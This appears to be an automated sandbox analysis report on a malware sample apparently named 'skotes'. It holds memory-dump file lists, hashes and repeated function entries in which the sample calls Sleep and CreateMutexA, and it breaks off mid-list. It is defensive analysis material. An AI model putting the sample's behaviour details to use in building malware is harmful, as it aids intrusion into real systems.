Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 94480d253905e996d16893261d3368dd66a62f04fcc00b656ad9e5b70e759bd6
Instruction ID: 17c69bf65d0ef38a12dffdf7d3f124c526b358dd1f351889c3addbba0175ee40
Opcode Fuzzy Hash: 94480d253905e996d16893261d3368dd66a62f04fcc00b656ad9e5b70e759bd6
Instruction Fuzzy Hash: B53128317043059FEB18DB7CDC8DBADB776ABC6320F248618E424A72D5D77699808792

Function 0090A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0090A963
CreateMutexA.KERNELBASE(00000000,00000000,00963254), ref: 0090A981

Strings

t, xrefs: 0090A998

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 79a348e4fced5547d9711ded48e25a07e8da6978f4fa0bf0c686be3aab42be37
Instruction ID: efabe36175f893a61eccfbebe7ad3febe071e780f98e86544cfa2cfe18b81c8d
Opcode Fuzzy Hash: 79a348e4fced5547d9711ded48e25a07e8da6978f4fa0bf0c686be3aab42be37
Instruction Fuzzy Hash: 36312931B003049FEB18DB78DC8DBADB776EBD1320F248618E464972E5D7B549808B92

Function 0090A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0090A963
CreateMutexA.KERNELBASE(00000000,00000000,00963254), ref: 0090A981

Strings

t, xrefs: 0090A998

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: dbd55881fbddbb8bd732c4920faae6ef9db4cb99495407bc5d0a19e2bfd74ce6
Instruction ID: ebff37e53f9822752116cdb5b221fe9d4c3297b35fd9ed97c961419fdd6ef441
Opcode Fuzzy Hash: dbd55881fbddbb8bd732c4920faae6ef9db4cb99495407bc5d0a19e2bfd74ce6
Instruction Fuzzy Hash: 2B315B317003059FEB18DB78DC99BADB776EFC5324F248618F464A72D5C77689808B92

Function 0090A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0090A963
CreateMutexA.KERNELBASE(00000000,00000000,00963254), ref: 0090A981

Strings

t, xrefs: 0090A998

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: b743a85592cf029bee7b02940a85c0b8a19182ac419f3c3c13d5464205f826ed
Instruction ID: 6647e1c6653123955781fc204cf634d7aa856d09a709f92d9e1d219b64685a41
Opcode Fuzzy Hash: b743a85592cf029bee7b02940a85c0b8a19182ac419f3c3c13d5464205f826ed
Instruction Fuzzy Hash: DD313931B043049FEB18DB78DC89BADB7B6DFC5320F248618E464D72E5C77689808792

Function 00909ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0090A963
CreateMutexA.KERNELBASE(00000000,00000000,00963254), ref: 0090A981

Strings

t, xrefs: 0090A998

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 72585e16580900a4a5910a9d7b73126d31ba45d9047d004fdbf271f6aad01770
Instruction ID: c9bfd26d49a6ecec23a3a038c4763c8d72b37547e69e2b7626c0a96304a39b43
Opcode Fuzzy Hash: 72585e16580900a4a5910a9d7b73126d31ba45d9047d004fdbf271f6aad01770
Instruction Fuzzy Hash: 1A216B317043009FEB289B6CDCD9B6DF766EBD1320F208219E864D76E5C77699808752

Function 0090A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0090A963
CreateMutexA.KERNELBASE(00000000,00000000,00963254), ref: 0090A981

Strings

t, xrefs: 0090A998

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
